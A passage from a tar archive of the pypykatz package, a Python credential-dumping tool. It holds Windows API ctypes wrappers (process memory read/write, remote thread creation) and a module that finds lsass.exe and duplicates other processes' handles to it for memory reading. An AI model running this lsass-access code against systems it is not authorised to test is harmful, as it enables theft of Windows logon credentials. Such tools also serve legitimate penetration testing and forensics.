1066 ERROR_PROCESS_ABORTED = 1067 ERROR_SERVICE_DEPENDENCY_FAIL = 1068 ERROR_SERVICE_LOGON_FAILED = 1069 ERROR_SERVICE_START_HANG = 1070 ERROR_INVALID_SERVICE_LOCK = 1071 ERROR_SERVICE_MARKED_FOR_DELETE = 1072 ERROR_SERVICE_EXISTS = 1073 ERROR_ALREADY_RUNNING_LKG = 1074 ERROR_SERVICE_DEPENDENCY_DELETED = 1075 ERROR_BOOT_ALREADY_ACCEPTED = 1076 ERROR_SERVICE_NEVER_STARTED = 1077 ERROR_DUPLICATE_SERVICE_NAME = 1078 ERROR_DIFFERENT_SERVICE_ACCOUNT = 1079 ERROR_CANNOT_DETECT_DRIVER_FAILURE = 1080 ERROR_CANNOT_DETECT_PROCESS_ABORT = 1081 ERROR_NO_RECOVERY_PROGRAM = 1082 ERROR_SERVICE_NOT_IN_EXE = 1083 ERROR_NOT_SAFEBOOT_SERVICE = 1084 ERROR_DEBUGGER_INACTIVE = 1284 ERROR_PRIVILEGE_NOT_HELD = 1314 ERROR_NONE_MAPPED = 1332 RPC_S_SERVER_UNAVAILABLE = 1722 # Standard access rights DELETE = 0x00010000 READ_CONTROL = 0x00020000 WRITE_DAC = 0x00040000 WRITE_OWNER = 0x00080000 SYNCHRONIZE = 0x00100000 STANDARD_RIGHTS_REQUIRED = 0x000F0000 STANDARD_RIGHTS_READ = READ_CONTROL STANDARD_RIGHTS_WRITE = READ_CONTROL STANDARD_RIGHTS_EXECUTE = READ_CONTROL STANDARD_RIGHTS_ALL = 0x001F0000 SPECIFIC_RIGHTS_ALL = 0x0000FFFF #--- Structures --------------------------------------------------------------- # typedef struct _LSA_UNICODE_STRING { # USHORT Length; # USHORT MaximumLength; # PWSTR Buffer; # } LSA_UNICODE_STRING, # *PLSA_UNICODE_STRING, # UNICODE_STRING, # *PUNICODE_STRING; class UNICODE_STRING(Structure): _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", PVOID), ] def getString(self): return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le') # From MSDN: # # typedef struct _GUID { # DWORD Data1; # WORD Data2; # WORD Data3; # BYTE Data4[8]; # } GUID; class GUID(Structure): _fields_ = [ ("Data1", DWORD), ("Data2", WORD), ("Data3", WORD), ("Data4", BYTE * 8), ] # From MSDN: # # typedef struct _LIST_ENTRY { # struct _LIST_ENTRY *Flink; # struct _LIST_ENTRY *Blink; # } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; class LIST_ENTRY(Structure): _fields_ = [ ("Flink", PVOID), # POINTER(LIST_ENTRY) ("Blink", PVOID), # POINTER(LIST_ENTRY) ] #============================================================================== # This calculates the list of exported symbols. _all = set(vars().keys()).difference(_all) ##__all__ = [_x for _x in _all if not _x.startswith('_')] ##__all__.sort() #============================================================================== ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/fileinfo.py0000664000175000017500000000111614543266630025777 0ustar00webdevwebdevfrom .version import * import ctypes def get_file_version_info(filename): # Get the file version info structure. pBlock = GetFileVersionInfoW(filename) pBuffer, dwLen = VerQueryValueW(pBlock.raw, "\\") if dwLen != ctypes.sizeof(VS_FIXEDFILEINFO): raise ctypes.WinError(ERROR_BAD_LENGTH) pVersionInfo = ctypes.cast(pBuffer, ctypes.POINTER(VS_FIXEDFILEINFO)) VersionInfo = pVersionInfo.contents if VersionInfo.dwSignature != 0xFEEF04BD: raise ctypes.WinError(ERROR_BAD_ARGUMENTS) FileDate = (VersionInfo.dwFileDateMS << 32) + VersionInfo.dwFileDateLS return FileDate././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/kernel32.py0000664000175000017500000005570314543266630025644 0ustar00webdevwebdev#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2009-2016, Mario Vilas # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. from .defines import * PAGE_NOACCESS = 0x01 PAGE_READONLY = 0x02 PAGE_READWRITE = 0x04 PAGE_WRITECOPY = 0x08 PAGE_EXECUTE = 0x10 PAGE_EXECUTE_READ = 0x20 PAGE_EXECUTE_READWRITE = 0x40 PAGE_EXECUTE_WRITECOPY = 0x80 PAGE_GUARD = 0x100 PAGE_NOCACHE = 0x200 PAGE_WRITECOMBINE = 0x400 MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 MEM_DECOMMIT = 0x4000 MEM_RELEASE = 0x8000 MEM_FREE = 0x10000 MEM_PRIVATE = 0x20000 MEM_MAPPED = 0x40000 MEM_RESET = 0x80000 MEM_TOP_DOWN = 0x100000 MEM_WRITE_WATCH = 0x200000 MEM_PHYSICAL = 0x400000 MEM_LARGE_PAGES = 0x20000000 MEM_4MB_PAGES = 0x80000000 SEC_FILE = 0x800000 SEC_IMAGE = 0x1000000 SEC_RESERVE = 0x4000000 SEC_COMMIT = 0x8000000 SEC_NOCACHE = 0x10000000 SEC_LARGE_PAGES = 0x80000000 MEM_IMAGE = SEC_IMAGE WRITE_WATCH_FLAG_RESET = 0x01 FILE_MAP_ALL_ACCESS = 0xF001F PROCESS_DUP_HANDLE = 0x0040 class UserModeHandle (HANDLE): """ Base class for non-kernel handles. Generally this means they are closed by special Win32 API functions instead of CloseHandle() and some standard operations (synchronizing, duplicating, inheritance) are not supported. @type _TYPE: C type @cvar _TYPE: C type to translate this handle to. Subclasses should override this. Defaults to L{HANDLE}. """ # Subclasses should override this. _TYPE = HANDLE # This method must be implemented by subclasses. def _close(self): raise NotImplementedError() # Translation to C type. @property def _as_parameter_(self): return self._TYPE(self.value) # Translation to C type. @staticmethod def from_param(value): return self._TYPE(self.value) # Operation not supported. @property def inherit(self): return False # Operation not supported. @property def protectFromClose(self): return False # Operation not supported. def dup(self): raise NotImplementedError() # Operation not supported. def wait(self, dwMilliseconds = None): raise NotImplementedError() # Don't psyco-optimize this class because it needs to be serialized. class MemoryBasicInformation(object): """ Memory information object returned by L{VirtualQueryEx}. """ READABLE = ( PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY | PAGE_READONLY | PAGE_READWRITE | PAGE_WRITECOPY ) WRITEABLE = ( PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY | PAGE_READWRITE | PAGE_WRITECOPY ) COPY_ON_WRITE = ( PAGE_EXECUTE_WRITECOPY | PAGE_WRITECOPY ) EXECUTABLE = ( PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY ) EXECUTABLE_AND_WRITEABLE = ( PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY ) def __init__(self, mbi=None): """ @type mbi: L{MEMORY_BASIC_INFORMATION} or L{MemoryBasicInformation} @param mbi: Either a L{MEMORY_BASIC_INFORMATION} structure or another L{MemoryBasicInformation} instance. """ if mbi is None: self.BaseAddress = None self.AllocationBase = None self.AllocationProtect = None self.RegionSize = None self.State = None self.Protect = None self.Type = None else: self.BaseAddress = mbi.BaseAddress self.AllocationBase = mbi.AllocationBase self.AllocationProtect = mbi.AllocationProtect self.RegionSize = mbi.RegionSize self.State = mbi.State self.Protect = mbi.Protect self.Type = mbi.Type # Only used when copying MemoryBasicInformation objects, instead of # instancing them from a MEMORY_BASIC_INFORMATION structure. if hasattr(mbi, 'content'): self.content = mbi.content if hasattr(mbi, 'filename'): self.content = mbi.filename def __contains__(self, address): """ Test if the given memory address falls within this memory region. @type address: int @param address: Memory address to test. @rtype: bool @return: C{True} if the given memory address falls within this memory region, C{False} otherwise. """ return self.BaseAddress <= address < (self.BaseAddress + self.RegionSize) def is_free(self): """ @rtype: bool @return: C{True} if the memory in this region is free. """ return self.State == MEM_FREE def is_reserved(self): """ @rtype: bool @return: C{True} if the memory in this region is reserved. """ return self.State == MEM_RESERVE def is_commited(self): """ @rtype: bool @return: C{True} if the memory in this region is commited. """ return self.State == MEM_COMMIT def is_image(self): """ @rtype: bool @return: C{True} if the memory in this region belongs to an executable image. """ return self.Type == MEM_IMAGE def is_mapped(self): """ @rtype: bool @return: C{True} if the memory in this region belongs to a mapped file. """ return self.Type == MEM_MAPPED def is_private(self): """ @rtype: bool @return: C{True} if the memory in this region is private. """ return self.Type == MEM_PRIVATE def is_guard(self): """ @rtype: bool @return: C{True} if all pages in this region are guard pages. """ return self.is_commited() and bool(self.Protect & PAGE_GUARD) def has_content(self): """ @rtype: bool @return: C{True} if the memory in this region has any data in it. """ return self.is_commited() and not bool(self.Protect & (PAGE_GUARD | PAGE_NOACCESS)) def is_readable(self): """ @rtype: bool @return: C{True} if all pages in this region are readable. """ return self.has_content() and bool(self.Protect & self.READABLE) def is_writeable(self): """ @rtype: bool @return: C{True} if all pages in this region are writeable. """ return self.has_content() and bool(self.Protect & self.WRITEABLE) def is_copy_on_write(self): """ @rtype: bool @return: C{True} if all pages in this region are marked as copy-on-write. This means the pages are writeable, but changes are not propagated to disk. @note: Tipically data sections in executable images are marked like this. """ return self.has_content() and bool(self.Protect & self.COPY_ON_WRITE) def is_executable(self): """ @rtype: bool @return: C{True} if all pages in this region are executable. @note: Executable pages are always readable. """ return self.has_content() and bool(self.Protect & self.EXECUTABLE) def is_executable_and_writeable(self): """ @rtype: bool @return: C{True} if all pages in this region are executable and writeable. @note: The presence of such pages make memory corruption vulnerabilities much easier to exploit. """ return self.has_content() and bool(self.Protect & self.EXECUTABLE_AND_WRITEABLE) # DWORD WINAPI GetLastError(void); def GetLastError(): _GetLastError = windll.kernel32.GetLastError _GetLastError.argtypes = [] _GetLastError.restype = DWORD return _GetLastError() # typedef struct _MEMORY_BASIC_INFORMATION { # PVOID BaseAddress; # PVOID AllocationBase; # DWORD AllocationProtect; # SIZE_T RegionSize; # DWORD State; # DWORD Protect; # DWORD Type; # } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION; class MEMORY_BASIC_INFORMATION(Structure): _fields_ = [ ('BaseAddress', SIZE_T), # remote pointer ('AllocationBase', SIZE_T), # remote pointer ('AllocationProtect', DWORD), ('RegionSize', SIZE_T), ('State', DWORD), ('Protect', DWORD), ('Type', DWORD), ] PMEMORY_BASIC_INFORMATION = POINTER(MEMORY_BASIC_INFORMATION) # BOOL WINAPI CloseHandle( # __in HANDLE hObject # ); def CloseHandle(hHandle): if hasattr(hHandle, 'close'): # Prevents the handle from being closed without notifying the Handle object. hHandle.close() else: _CloseHandle = windll.kernel32.CloseHandle _CloseHandle.argtypes = [HANDLE] _CloseHandle.restype = bool _CloseHandle.errcheck = RaiseIfZero _CloseHandle(hHandle) # DWORD WINAPI GetCurrentProcessId(void); def GetCurrentProcessId(): _GetCurrentProcessId = windll.kernel32.GetCurrentProcessId _GetCurrentProcessId.argtypes = [] _GetCurrentProcessId.restype = DWORD return _GetCurrentProcessId() # HANDLE WINAPI GetCurrentProcess(void); def GetCurrentProcess(): ## return 0xFFFFFFFFFFFFFFFFL _GetCurrentProcess = windll.kernel32.GetCurrentProcess _GetCurrentProcess.argtypes = [] _GetCurrentProcess.restype = HANDLE return _GetCurrentProcess() # BOOL WINAPI QueryFullProcessImageName( # __in HANDLE hProcess, # __in DWORD dwFlags, # __out LPTSTR lpExeName, # __inout PDWORD lpdwSize # ); def QueryFullProcessImageNameW(hProcess, dwFlags = 0): _QueryFullProcessImageNameW = windll.kernel32.QueryFullProcessImageNameW _QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, PDWORD] _QueryFullProcessImageNameW.restype = bool dwSize = MAX_PATH while 1: lpdwSize = DWORD(dwSize) lpExeName = ctypes.create_unicode_buffer('', lpdwSize.value + 1) success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize)) if success and 0 < lpdwSize.value < dwSize: break error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError(error) dwSize = dwSize + 256 if dwSize > 0x1000: # this prevents an infinite loop in Windows 2008 when the path has spaces, # see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4 raise ctypes.WinError(error) return lpExeName.value # HANDLE WINAPI OpenProcess( # __in DWORD dwDesiredAccess, # __in BOOL bInheritHandle, # __in DWORD dwProcessId # ); def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId): _OpenProcess = windll.kernel32.OpenProcess _OpenProcess.argtypes = [DWORD, BOOL, DWORD] _OpenProcess.restype = HANDLE hProcess = _OpenProcess(dwDesiredAccess, bool(bInheritHandle), dwProcessId) if hProcess == NULL: raise ctypes.WinError() return hProcess # BOOL WINAPI ReadProcessMemory( # __in HANDLE hProcess, # __in LPCVOID lpBaseAddress, # __out LPVOID lpBuffer, # __in SIZE_T nSize, # __out SIZE_T* lpNumberOfBytesRead # ); def ReadProcessMemory(hProcess, lpBaseAddress, nSize): _ReadProcessMemory = windll.kernel32.ReadProcessMemory _ReadProcessMemory.argtypes = [HANDLE, LPVOID, LPVOID, SIZE_T, POINTER(SIZE_T)] _ReadProcessMemory.restype = bool lpBuffer = ctypes.create_string_buffer(nSize) lpNumberOfBytesRead = SIZE_T(0) success = _ReadProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, byref(lpNumberOfBytesRead)) if not success and GetLastError() != ERROR_PARTIAL_COPY: raise ctypes.WinError() return lpBuffer.raw[:lpNumberOfBytesRead.value] # BOOL WINAPI WriteProcessMemory( # __in HANDLE hProcess, # __in LPCVOID lpBaseAddress, # __in LPVOID lpBuffer, # __in SIZE_T nSize, # __out SIZE_T* lpNumberOfBytesWritten # ); def WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer): _WriteProcessMemory = windll.kernel32.WriteProcessMemory _WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPVOID, SIZE_T, POINTER(SIZE_T)] _WriteProcessMemory.restype = bool nSize = len(lpBuffer) lpBuffer = ctypes.create_string_buffer(lpBuffer) lpNumberOfBytesWritten = SIZE_T(0) success = _WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, byref(lpNumberOfBytesWritten)) if not success and GetLastError() != ERROR_PARTIAL_COPY: raise ctypes.WinError() return lpNumberOfBytesWritten.value # SIZE_T WINAPI VirtualQueryEx( # __in HANDLE hProcess, # __in_opt LPCVOID lpAddress, # __out PMEMORY_BASIC_INFORMATION lpBuffer, # __in SIZE_T dwLength # ); def VirtualQueryEx(hProcess, lpAddress): _VirtualQueryEx = windll.kernel32.VirtualQueryEx _VirtualQueryEx.argtypes = [HANDLE, LPVOID, PMEMORY_BASIC_INFORMATION, SIZE_T] _VirtualQueryEx.restype = SIZE_T lpBuffer = MEMORY_BASIC_INFORMATION() dwLength = sizeof(MEMORY_BASIC_INFORMATION) success = _VirtualQueryEx(hProcess, lpAddress, byref(lpBuffer), dwLength) if success == 0: raise ctypes.WinError() return MemoryBasicInformation(lpBuffer) # HLOCAL WINAPI LocalFree( # __in HLOCAL hMem # ); def LocalFree(hMem): _LocalFree = windll.kernel32.LocalFree _LocalFree.argtypes = [HLOCAL] _LocalFree.restype = HLOCAL result = _LocalFree(hMem) if result != NULL: ctypes.WinError() #--- SECURITY_ATTRIBUTES structure -------------------------------------------- # typedef struct _SECURITY_ATTRIBUTES { # DWORD nLength; # LPVOID lpSecurityDescriptor; # BOOL bInheritHandle; # } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES; class SECURITY_ATTRIBUTES(Structure): _fields_ = [ ('nLength', DWORD), ('lpSecurityDescriptor', LPVOID), ('bInheritHandle', BOOL), ] LPSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES) # --- Extended process and thread attribute support --------------------------- PPROC_THREAD_ATTRIBUTE_LIST = LPVOID LPPROC_THREAD_ATTRIBUTE_LIST = PPROC_THREAD_ATTRIBUTE_LIST PROC_THREAD_ATTRIBUTE_NUMBER = 0x0000FFFF PROC_THREAD_ATTRIBUTE_THREAD = 0x00010000 # Attribute may be used with thread creation PROC_THREAD_ATTRIBUTE_INPUT = 0x00020000 # Attribute is input only PROC_THREAD_ATTRIBUTE_ADDITIVE = 0x00040000 # Attribute may be "accumulated," e.g. bitmasks, counters, etc. # PROC_THREAD_ATTRIBUTE_NUM ProcThreadAttributeParentProcess = 0 ProcThreadAttributeExtendedFlags = 1 ProcThreadAttributeHandleList = 2 ProcThreadAttributeGroupAffinity = 3 ProcThreadAttributePreferredNode = 4 ProcThreadAttributeIdealProcessor = 5 ProcThreadAttributeUmsThread = 6 ProcThreadAttributeMitigationPolicy = 7 ProcThreadAttributeMax = 8 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = ProcThreadAttributeParentProcess | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_EXTENDED_FLAGS = ProcThreadAttributeExtendedFlags | PROC_THREAD_ATTRIBUTE_INPUT | PROC_THREAD_ATTRIBUTE_ADDITIVE PROC_THREAD_ATTRIBUTE_HANDLE_LIST = ProcThreadAttributeHandleList | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_GROUP_AFFINITY = ProcThreadAttributeGroupAffinity | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_PREFERRED_NODE = ProcThreadAttributePreferredNode | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_IDEAL_PROCESSOR = ProcThreadAttributeIdealProcessor | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_UMS_THREAD = ProcThreadAttributeUmsThread | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = ProcThreadAttributeMitigationPolicy | PROC_THREAD_ATTRIBUTE_INPUT PROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE = 0x01 PROCESS_CREATION_MITIGATION_POLICY_DEP_ATL_THUNK_ENABLE = 0x02 PROCESS_CREATION_MITIGATION_POLICY_SEHOP_ENABLE = 0x04 #--- PROCESS_INFORMATION structure -------------------------------------------- # typedef struct _PROCESS_INFORMATION { # HANDLE hProcess; # HANDLE hThread; # DWORD dwProcessId; # DWORD dwThreadId; # } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION; class PROCESS_INFORMATION(Structure): _fields_ = [ ('hProcess', HANDLE), ('hThread', HANDLE), ('dwProcessId', DWORD), ('dwThreadId', DWORD), ] LPPROCESS_INFORMATION = POINTER(PROCESS_INFORMATION) #--- STARTUPINFO and STARTUPINFOEX structures --------------------------------- # typedef struct _STARTUPINFO { # DWORD cb; # LPTSTR lpReserved; # LPTSTR lpDesktop; # LPTSTR lpTitle; # DWORD dwX; # DWORD dwY; # DWORD dwXSize; # DWORD dwYSize; # DWORD dwXCountChars; # DWORD dwYCountChars; # DWORD dwFillAttribute; # DWORD dwFlags; # WORD wShowWindow; # WORD cbReserved2; # LPBYTE lpReserved2; # HANDLE hStdInput; # HANDLE hStdOutput; # HANDLE hStdError; # }STARTUPINFO, *LPSTARTUPINFO; class STARTUPINFO(Structure): _fields_ = [ ('cb', DWORD), ('lpReserved', LPSTR), ('lpDesktop', LPSTR), ('lpTitle', LPSTR), ('dwX', DWORD), ('dwY', DWORD), ('dwXSize', DWORD), ('dwYSize', DWORD), ('dwXCountChars', DWORD), ('dwYCountChars', DWORD), ('dwFillAttribute', DWORD), ('dwFlags', DWORD), ('wShowWindow', WORD), ('cbReserved2', WORD), ('lpReserved2', LPVOID), # LPBYTE ('hStdInput', HANDLE), ('hStdOutput', HANDLE), ('hStdError', HANDLE), ] LPSTARTUPINFO = POINTER(STARTUPINFO) # typedef struct _STARTUPINFOEX { # STARTUPINFO StartupInfo; # PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; # } STARTUPINFOEX, *LPSTARTUPINFOEX; class STARTUPINFOEX(Structure): _fields_ = [ ('StartupInfo', STARTUPINFO), ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST), ] LPSTARTUPINFOEX = POINTER(STARTUPINFOEX) class STARTUPINFOW(Structure): _fields_ = [ ('cb', DWORD), ('lpReserved', LPWSTR), ('lpDesktop', LPWSTR), ('lpTitle', LPWSTR), ('dwX', DWORD), ('dwY', DWORD), ('dwXSize', DWORD), ('dwYSize', DWORD), ('dwXCountChars', DWORD), ('dwYCountChars', DWORD), ('dwFillAttribute', DWORD), ('dwFlags', DWORD), ('wShowWindow', WORD), ('cbReserved2', WORD), ('lpReserved2', LPVOID), # LPBYTE ('hStdInput', HANDLE), ('hStdOutput', HANDLE), ('hStdError', HANDLE), ] LPSTARTUPINFOW = POINTER(STARTUPINFOW) class STARTUPINFOEXW(Structure): _fields_ = [ ('StartupInfo', STARTUPINFOW), ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST), ] LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW) # BOOL WINAPI VirtualProtectEx( # __in HANDLE hProcess, # __in LPVOID lpAddress, # __in SIZE_T dwSize, # __in DWORD flNewProtect, # __out PDWORD lpflOldProtect # ); def VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect = PAGE_EXECUTE_READWRITE): _VirtualProtectEx = windll.kernel32.VirtualProtectEx _VirtualProtectEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, PDWORD] _VirtualProtectEx.restype = bool _VirtualProtectEx.errcheck = RaiseIfZero flOldProtect = DWORD(0) _VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect, byref(flOldProtect)) return flOldProtect.value # BOOL WINAPI VirtualFreeEx( # __in HANDLE hProcess, # __in LPVOID lpAddress, # __in SIZE_T dwSize, # __in DWORD dwFreeType # ); def VirtualFreeEx(hProcess, lpAddress, dwSize = 0, dwFreeType = MEM_RELEASE): _VirtualFreeEx = windll.kernel32.VirtualFreeEx _VirtualFreeEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD] _VirtualFreeEx.restype = bool _VirtualFreeEx.errcheck = RaiseIfZero _VirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType) # LPVOID WINAPI VirtualAllocEx( # __in HANDLE hProcess, # __in_opt LPVOID lpAddress, # __in SIZE_T dwSize, # __in DWORD flAllocationType, # __in DWORD flProtect # ); def VirtualAllocEx(hProcess, lpAddress = 0, dwSize = 0x1000, flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE): _VirtualAllocEx = windll.kernel32.VirtualAllocEx _VirtualAllocEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, DWORD] _VirtualAllocEx.restype = LPVOID lpAddress = _VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect) if lpAddress == NULL: raise ctypes.WinError() return lpAddress # HANDLE WINAPI CreateRemoteThread( # __in HANDLE hProcess, # __in LPSECURITY_ATTRIBUTES lpThreadAttributes, # __in SIZE_T dwStackSize, # __in LPTHREAD_START_ROUTINE lpStartAddress, # __in LPVOID lpParameter, # __in DWORD dwCreationFlags, # __out LPDWORD lpThreadId # ); def CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags): _CreateRemoteThread = windll.kernel32.CreateRemoteThread _CreateRemoteThread.argtypes = [HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPVOID, LPVOID, DWORD, LPDWORD] _CreateRemoteThread.restype = HANDLE if not lpThreadAttributes: lpThreadAttributes = None else: lpThreadAttributes = byref(lpThreadAttributes) dwThreadId = DWORD(0) hThread = _CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, byref(dwThreadId)) if not hThread: raise ctypes.WinError() return hThread, dwThreadId.value def GetProcAddressW(hModule, lpProcName): _GetProcAddress = windll.kernel32.GetProcAddress _GetProcAddress.argtypes = [HMODULE, LPVOID] _GetProcAddress.restype = LPVOID if type(lpProcName) in (type(0), type(0)): lpProcName = LPVOID(lpProcName) if lpProcName.value & (~0xFFFF): raise ValueError('Ordinal number too large: %d' % lpProcName.value) elif type(lpProcName) == type(""): lpProcName = ctypes.create_string_buffer(lpProcName.encode('ascii')) elif type(lpProcName) == type(b""): lpProcName = ctypes.c_char_p(lpProcName) else: raise TypeError(str(type(lpProcName))) return _GetProcAddress(hModule, lpProcName) def LoadLibraryW(pszLibrary): _LoadLibraryW = windll.kernel32.LoadLibraryW _LoadLibraryW.argtypes = [LPWSTR] _LoadLibraryW.restype = HMODULE hModule = _LoadLibraryW(pszLibrary) if hModule == NULL: raise ctypes.WinError() return hModule././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py0000664000175000017500000000665314543266630030067 0ustar00webdevwebdevimport ctypes import enum from pypykatz import logger from .ntdll import * from .kernel32 import * from .psapi import * class WindowsMinBuild(enum.Enum): WIN_XP = 2500 WIN_2K3 = 3000 WIN_VISTA = 5000 WIN_7 = 7000 WIN_8 = 8000 WIN_BLUE = 9400 WIN_10 = 9800 #utter microsoft bullshit commencing.. def getWindowsBuild(): class OSVersionInfo(ctypes.Structure): _fields_ = [ ("dwOSVersionInfoSize" , ctypes.c_int), ("dwMajorVersion" , ctypes.c_int), ("dwMinorVersion" , ctypes.c_int), ("dwBuildNumber" , ctypes.c_int), ("dwPlatformId" , ctypes.c_int), ("szCSDVersion" , ctypes.c_char*128)]; GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA") version = OSVersionInfo() version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo) GetVersionEx( ctypes.byref(version) ) return version.dwBuildNumber DELETE = 0x00010000 READ_CONTROL = 0x00020000 WRITE_DAC = 0x00040000 WRITE_OWNER = 0x00080000 SYNCHRONIZE = 0x00100000 STANDARD_RIGHTS_REQUIRED = DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER STANDARD_RIGHTS_ALL = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE if getWindowsBuild() >= WindowsMinBuild.WIN_VISTA.value: PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF else: PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_VM_READ = 0x0010 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx def enum_process_names(): pid_to_name = {} for pid in EnumProcesses(): if pid == 0: continue pid_to_name[pid] = 'Not found' try: process_handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid) pid_to_name[pid] = QueryFullProcessImageNameW(process_handle) except Exception as e: continue return pid_to_name def get_lsass_pid(): pid_to_name = enum_process_names() for pid in pid_to_name: if pid_to_name[pid].lower().find('lsass.exe') != -1: return pid raise Exception('Failed to find lsass.exe') def enum_lsass_handles(): #searches for open LSASS process handles in all processes # you should be having SE_DEBUG enabled at this point RtlAdjustPrivilege(20) lsass_handles = [] sysinfohandles = NtQuerySystemInformation(16) for pid in sysinfohandles: if pid == 4: continue #if pid != GetCurrentProcessId(): # continue for syshandle in sysinfohandles[pid]: #print(pid) try: pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid) except Exception as e: logger.debug('Error opening process %s Reason: %s' % (pid, e)) continue try: dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ) #print(dupHandle) except Exception as e: logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) continue oinfo = NtQueryObject(dupHandle, ObjectTypeInformation) if oinfo.Name.getString() == 'Process': try: pname = QueryFullProcessImageNameW(dupHandle) if pname.lower().find('lsass.exe') != -1: logger.debug('Found open handle to lsass! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle))) #print('%s : %s' % (pid, pname)) lsass_handles.append((pid, dupHandle)) except Exception as e: 